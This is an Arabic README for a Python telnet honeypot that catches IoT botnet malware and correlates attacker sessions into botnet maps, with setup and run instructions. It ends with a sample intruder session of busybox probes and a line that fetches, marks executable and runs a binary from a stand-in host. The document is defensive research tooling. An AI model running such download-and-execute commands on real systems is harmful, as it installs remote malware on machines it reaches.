
مصيدة telnet بلغة Python لاصطياد برامج البوتنت الثنائية
هذا المشروع لم يعد مدعومًا أو قيد التطوير بعد الآن. يعتمد على بايثون 2 الذي بلغ نهاية عمره الافتراضي في عام 2020 ويستخدم تبعيات يصعب تثبيتها بمرور الوقت. استخدمه على مسؤوليتك الخاصة!
'مصيدة Telnet بلغة بايثون لالتقاط برمجيات البوت نت'
ينفذ هذا المشروع خادم telnet بلغة بايثون يحاول العمل كمصيدة للبرمجيات الخبيثة لأجهزة إنترنت الأشياء والتي تنتشر عبر كلمات مرور افتراضية غير آمنة بشكل رهيب على خوادم telnet على الإنترنت.
تعمل المصيدة عن طريق محاكاة بيئة شل، تمامًا مثل cowrie (https://github.com/micheloosterhof/cowrie). الهدف من هذا المشروع هو بشكل أساسي تحليل اتصالات البوت نت تلقائيًا و"رسم خريطة" للبوت نت من خلال ربط الاتصالات المختلفة وحتى الشبكات معًا.
يتبع التطبيق بنية خادم/عميل، حيث يقبل العميل (المصيدة الفعلية) اتصالات telnet ويستقبل الخادم المعلومات حول الاتصالات ويقوم بالتحليل.
يعرض خادم الواجهة الخلفية واجهة HTTP تُستخدم للوصول إلى الواجهة الأمامية وكذلك من قبل العملاء لدفع معلومات الاتصال الجديدة إلى الواجهة الخلفية.
تستخدم الواجهة الخلفية آليتين مختلفتين لربط الاتصالات تلقائيًا:
الشبكات هي بوت نت مكتشفة. الشبكة هي مجموعة جميع الاتصالات وعناوين URL والعينات المرتبطة. ترتبط عناوين URL والعينات عندما يتم استخدامها في اتصال. يرتبط اتصالان عندما يتم استقبال كلا الاتصالين بواسطة نفس عميل المصيدة (يتم دعم عملاء متعددين!) ويستخدمان نفس بيانات الاعتماد في فترة زمنية قصيرة (افتراضيًا دقيقتان) أو يأتيان من نفس عنوان IP.
يتم تحديد شبكات متعددة لاستخدام نفس النوع من البرمجيات الخبيثة إذا كان النص المُدخل خلال جلسات الشبكات متشابهًا إلى حد كبير. تتم هذه المقارنة باستخدام نوع من وظيفة "التجزئة" والتي تترجم الجلسة (أو الاتصال) إلى تسلسل من الكلمات ثم تعيّن كل كلمة إلى بايت واحد بحيث يمكن البحث بسهولة في تسلسل البايتات الناتج.
يحتوي التطبيق على ملف تكوين باسم config.py. يتم تضمين نماذج للنشر المحلي ونشر العميل/الخادم.
تتطلب الواجهة الخلفية قاعدة بيانات SQL (افتراضيًا sqlite) يتم تهيئتها في التشغيل الأول. قبل التشغيل الأول، يجب إنشاء حساب مسؤول يُستخدم لإنشاء المزيد من المستخدمين. يمكن أيضًا استخدام حساب المسؤول مباشرة بواسطة عميل لنشر الاتصالات. عند توصيل أكثر من مصيدة واحدة، يُوصى بإنشاء مستخدمين متعددين.
bash create_config.sh
سيقرأ كل من العميل والواجهة الخلفية الملفين config.yaml و config.dist.yaml لقراءة معلمات التكوين. يحتوي ملف config.dist.yaml على قيم افتراضية لكل شيء باستثناء بيانات اعتماد المستخدم المسؤول، ويتم استبدال هذه المعلمات بالإدخالات في ملف config.yaml.
python backend.py
يحتوي هذا المشروع على مصيدة خاصة به، ولكن نظرًا لبنية العميل/الخادم، يمكن استخدام مصائد أخرى أيضًا.
python honeypot.py
لا يمكن بدء تشغيل العميل دون تشغيل الخادم. لاستخدام تكوين مختلف للعميل، يمكنك استخدام المفتاح -c كما يلي:
python honeypot.py -c myconfig.yaml
إذا كنت تريد فقط التحقق من وظيفة المصيدة، يمكنك بدء تشغيل العميل في الوضع التفاعلي:
python honeypot shell
لقد كتبت ملحق إخراج لـ cowrie، والذي يحتوي على ميزات أكثر بكثير من المصيدة المدمجة. إذا كنت تريد استخدام cowrie بدلاً من ذلك، فاطلع على فرعي الذي يتضمن وحدة الإخراج هنا: https://github.com/Phype/cowrie .
بعد بدء تشغيل الخادم، افتح http://127.0.0.1/ في متصفحك المفضل.
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit


